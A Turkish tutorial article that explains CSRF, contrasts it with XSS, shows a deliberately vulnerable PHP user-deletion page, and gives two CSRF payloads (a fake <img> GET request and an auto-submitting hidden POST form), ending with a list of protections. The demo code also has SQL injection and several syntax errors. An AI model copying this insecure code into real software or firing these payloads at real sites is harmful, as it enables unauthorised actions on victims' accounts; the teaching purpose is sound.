CSRF Nedir ?



Merhaba arkadaşlar bu Makalemde sizlere CSRF(Cross Site Request Forgery)
yani türkçe karşıtı ile "Siteler Arası İstek Sahtekarlığı"ndan bahsedeceğim

YDmVNo.png

CSRF Nedir ?


CSRF 3 Farklı isim (CSRF/XSRF/Session Riding) ile tanılabilir.Güven sömürüsüne dayanan bir açık türüdür.Bir web uygulamasına yapılacak olan saldırılar çeşitli yöntemlerle engellenmiş olabilir.Ancak bu engellemeler genelde tanımlı ve güvenilen kullanıcılardan ziyade,dışarıdan gelebilecek saldırılara karşı yapılır.XSRF saldırıları da web uygulamaları tarafından daha önce tanımlanan,bir session(Oturum) oluşturulan yani güvenilen bir kullanıcı üzerinden yapılır.Birnevi xss açığı gibi.


YDmVNo.png

XSS'den farkı ne ?

Cross Site Scripting (XSS)

 saldırılarında amaç tanımlama bilgileri olsa da hedef web uygulamasıdır.İlgili uygulamaya çeşitli kodlar gömülür ve Xss açıkları oluşturulur ve bu açıklar kullanılarak kullanıcı cookieleri çalınır Cross Site Request Forgery (CSRF/XSRF/Session Riding) saldırılarında ise bu saldırılardan doğrudan web uygulama değil kullanıcı hedeflenir.Uygulamalara,daha önce doğrulanan kullanıcılar üzerinde komutlar gödererek saldırı yapılır.

YDmVNo.png

Saldırı Yöntemleri

Get Metodu

Senaryomuza göre kullanıcıları silme sayfasi "kullaniciSil.php" olsun.Bu sayfa;GET metodu ile silinecek kullanıcının kullanıcı adını alsın ve veritabanından silsin.
Öncelik ile sistem için yazılımcının yazdığı kodu inceleyelim.
"baglan.php" dosyası ile veritabanına bağlanma işlemini gerçekleştirmiş.

baglan.php içeriği;

1
2
3
4
5
<?php
 session_start();
 mysql_connect('localhost','root','');
 mysql_select_db('csrf');
?>

kullaniciSil.php dosyası ile de kullaınıcıları listeliyor;
silmek istediği kullanıcıyı seçip silme işlemini gerçekleştiriyor.

kullaniciSil.php içeriği;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
 require "baglan.php";
 if(isset($_GET["sil"])){
  $silinecekKullanici = $_GET["sil"];
  $girisYapmisKullanici = $_SESSION["login"];
  if($girisYapmisKullanici == "admin"){
   mysql_query("DELETE FROM users WHERE username='$silinecekKullanici'");
   echo " $silinecekKullanici adli kullanici silindi.!";
  }
 }
 echo "Silinecek Kullaniciyi Secin : ".PHP_EOL;
 echo "<form action='' method='get'>";
 echo "<select name='sil'>;
 $kullanicilar = mysql_query("SELECT * FROM users");
 while($kullanici = mysql_fetch_assoc($kullanicilar)){
  echo "<option>".$kullanici["username];
 }
 echo "</select>";
 echo "<input type='submit' value='Kullaniciyisil'>;
 echo "</form>";
?>

Yukarıdaki koda göre kullaniciSil.php dosyasına GET metodu ile sil parametresinden bir değer gelirse,gelen değeri veri tabanından silecek.
Silme işlemini yapmadan önce ufak bir kontrol gerçekleştiriyor.Bu kontrolde SESSION üzerinden giriş yapılan kullanıcının admin olup olmadığına bakıyor.Eğer admin ise silme işlemini gerçekleştiriyor.

Veritabanımızdaki kayıtlar örnek olarak
admin:adminpass
kurban:1235123
xkullanıcı:324231
saldirgan:hacker1234

olduğunu varsayalım.ve xkullanıcı hesabını kullaniciSil.php'ye girerek silelim.Url ile gönderim yapmış olacak

Yukarıdaki işlemleri admin yerine saldirgan yapmış olssa idi if koşusundan dolayı silme sorgusunun çalıştığı kod bloğu çalışmayacaktı.
Url ile gönderim yapmış olacak demiştim bu urlyi (http://xdomain.com/csrf/kullaniciSil.php?sil=xkullanıcı)
Saldırgan  admin'e bu request göndermesini sağlar isek amacına ulaşmış olacağız.Peki nasıl olacak.
Bakın Request dedim linke tıklaması önemli değil sadece request olması yeterli adminin.
bir bloğunuz veya websitenize yazılar yazın onun ilgisini çekecek şekilde ve bir 

<img src="urleniz"/>

gibi bir fake resim kodu yazacaksınız urleniz yerinede bendeki url gibi 
"http://xdomain.com/csrf/kullaniciSil.php?sil=xkullanıcı" 
yazın
Örnek ;

<img src="http://xdomain.com/csrf/kullaniciSil.php?sil=xkullanıcı"/>
eğer admin bloğunuzu veya sitenizi okumak için bile girse request aldığı için xkullanıcıyı siler.
YDmVNo.png

POST Metodu

Aynı kodları kullanıp sadece formu GET değil de POST olarak gönderdiğimizi varsayalım.Bu gibi durumlarda metot POST olduğundan,sayfaya giden parametreleri adres çubuğundan göndermeyeceğiz.


kullaniciSil.php post metod;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
 require "baglan.php";
 if(isset($_POST["sil"])){
  $silinecekKullanici = $_POST["sil"];
  $girisYapmisKullanici = $_SESSION["login"];
  if($girisYapmisKullanici == "admin"){
   mysql_query("DELETE FROM users WHERE username='$silinecekKullanici'");
   echo " $silinecekKullanici adli kullanici silindi.!";
  }
 }
 echo "Silinecek Kullaniciyi Secin : ".PHP_EOL;
 echo "<form action='' method='get'>";
 echo "<select name='sil'>;
 $kullanicilar = mysql_query("SELECT * FROM users");
 while($kullanici = mysql_fetch_assoc($kullanicilar)){
  echo "<option>".$kullanici["username];
 }
 echo "</select>";
 echo "<input type='submit' value='Kullaniciyisil'>;
 echo "</form>";
?>


kod tamamıyle aynı sayılır requestten parametre okunan satırları post olarak değiştirdim.
Bu durumda form'dan veri seçilip gönderildiğinde veriler arkaplanda gizlice gönderildiğinden,Url üzerinden bir saldırı gerçekleştiremeyeceğiz.
Biz bu saldırıyı gerçekleştirirken;JavaScript'in form.submit() fonksiyonunu kullanacağız.Yani admin bizim hazırladığımız web sitesine veya sayfasına girecek.POST saldırısındada get saldırısı gibi yapacağız ama sayfa çalıştığında js tarafından oto olarak gönderilmesini sağlayacağız.

<form name="form" action="http://xdomain.com/csrf/kullaniciSil.php" method="post">
<input type="hidden" name="sil" value="kurban">
</form>

<script type="text/javascript">document.form.submit();</script>


YDmVNo.png

Korunma Yöntemleri

1.Kayıtlı Cookieler bilgisayarda uzun süre tutulmamalı.
2.Cookielerin Geçerlilik Süresini gözden geçirin.
3.Web sayfalardan çıkarken,açık olan oturum kapatılmalıdır.
4.HTTP Referer Başlığını Kontrol Edin.
5.Token Kullanın
6.Kimlik Doğrulama Seviyesini Arttırın.
7.Bilinenin aksine Get yerine Post kullanımı xsrf açığını engellemez.JavaScript kullanılarak bu önlem geçersiz kılınabilir.
8.Referer Kontrol


YDmVNo.png